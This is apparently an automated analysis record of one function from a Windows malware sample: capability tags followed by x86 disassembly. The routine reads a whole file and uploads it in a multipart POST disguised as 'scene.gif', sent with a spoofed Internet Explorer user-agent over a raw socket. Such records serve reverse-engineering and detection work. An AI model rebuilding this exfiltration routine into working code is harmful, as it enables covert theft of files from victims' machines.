Function at 0x4045c0
Capabilities:
Get file size
Read file on windows
Reference http user-agent string

Disassembly:
sub esp, 0xd88
push ebx
push ebp
push esi
mov esi, dword [0x419f38]
push edi
push 0x3ff
lea eax, [esp + 0x99d]
push 0
push eax
mov byte [esp + 0x9a4], 0
call fcn.0040e7a0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, eax
lea eax, [esi + 7]
lea edx, [esp + 0x30]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404600
lea ecx, [esp + 0x30]
push 0x2f
push ecx
call fcn.00406820
add esp, 8
test eax, eax
je 0x404634
lea esi, [esp + 0x98]
mov ecx, eax
sub esi, eax
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x404628
mov byte [eax], dl
mov edx, dword [esp + 0xd9c]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x404818
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.004066aa
add esp, 4
mov dword [esp + 0x14], eax
test eax, eax
je 0x404818
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x404694
mov eax, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x1c]
push ecx
push esi
push eax
push edi
call ebx
sub esi, dword [esp + 0x18]
jne 0x404690
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x3ff
lea edx, [esp + 0x19d]
push esi
push edx
mov edi, eax
mov byte [esp + 0x1a4], 0
call fcn.0040e7a0
push ebp
lea eax, [esp + 0x1a8]
push str.______________________________x_r_nContent_Disposition:_form_data__name_upfile___filename_scene.gif__r_nContent_Type:_text_plain_r_n_r_n
push eax
call fcn.004061fd
push 0x3ff
lea ecx, [esp + 0x5b5]
push esi
push ecx
mov byte [esp + 0x5bc], 0
call fcn.0040e7a0
push ebp
push 0x419ff8
push ebp
push 0xd5c67
push ebp
lea edx, [esp + 0x5d0]
push str._r_n______________________________x_r_nContent_Disposition:_form_data__name_topic__r_n_r_n_d_r_n______________________________x_r_nContent_Disposition:_form_data__name_tag__r_n_r_n_s_r_n______________________________x___r_n
push edx
call fcn.004061fd
lea eax, [esp + 0x1d8]
add esp, 0x40
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404725
sub eax, edx
mov edx, eax
lea eax, [esp + 0x598]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404740
sub eax, esi
add eax, edx
add eax, edi
push eax
push ebp
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0xa4]
push ecx
lea edx, [esp + 0x9a8]
push str.POST__s_HTTP_1.1_r_nUser_Agent:_Mozilla_5.0__compatible__MSIE_10.0__Windows_NT_6.1__WOW64__Trident_6.0__r_nHost:__s_r_nPragma:_no_cache_r_nContent_Type:_multipart_form_data__boundary____________________________x_r_nContent_Length:__d_r_n_r_n
push edx
call fcn.004061fd
xor eax, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
add esp, 0x18
lea eax, [esp + 0x30]
push eax
call dword [0x419f4c]
test eax, eax
jne 0x4047bd
lea ecx, [esp + 0x30]
push ecx
call dword [0x419f70]
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
je 0x4048cd
push 2
push 4
lea edx, [esp + 0x24]
push edx
call dword [0x419f44]
test eax, eax
je 0x404818
mov ecx, 2
mov word [esp + 0x20], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push 0x4163e8
mov dword [esp + 0x28], ecx
call fcn.004068f4
add esp, 4
push eax
call dword [0x41a14c]
push 0
push 1
push 2
mov word [esp + 0x2e], ax
call dword [0x41a29c]
mov esi, eax
cmp esi, 0xffffffff
je 0x404818
push 0x10
lea edx, [esp + 0x24]
push edx
push esi
call dword [0x419f64]
cmp eax, 0xffffffff
jne 0x404825
push esi
call dword [0x41a18c]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd88
ret
lea eax, [esp + 0x998]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404830
push 0
sub eax, edx
push eax
lea eax, [esp + 0x9a0]
push eax
push esi
call dword [0x419f50]
cmp eax, 0xffffffff
je 0x404811
lea eax, [esp + 0x198]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404860
push 0
sub eax, edx
push eax
lea ecx, [esp + 0x1a0]
push ecx
push esi
call dword [0x419f50]
cmp eax, 0xffffffff
je 0x404811
mov edx, dword [esp + 0x14]
push 0
push edi
push edx
push esi
call dword [0x419f50]
cmp eax, 0xffffffff
je 0x404811
lea eax, [esp + 0x598]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4048a2
push 0
sub eax, edx
push eax
lea eax, [esp + 0x5a0]
push eax
push esi
call dword [0x419f50]
push esi
cmp eax, 0xffffffff
je 0x404812
call dword [0x41a18c]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xd88
ret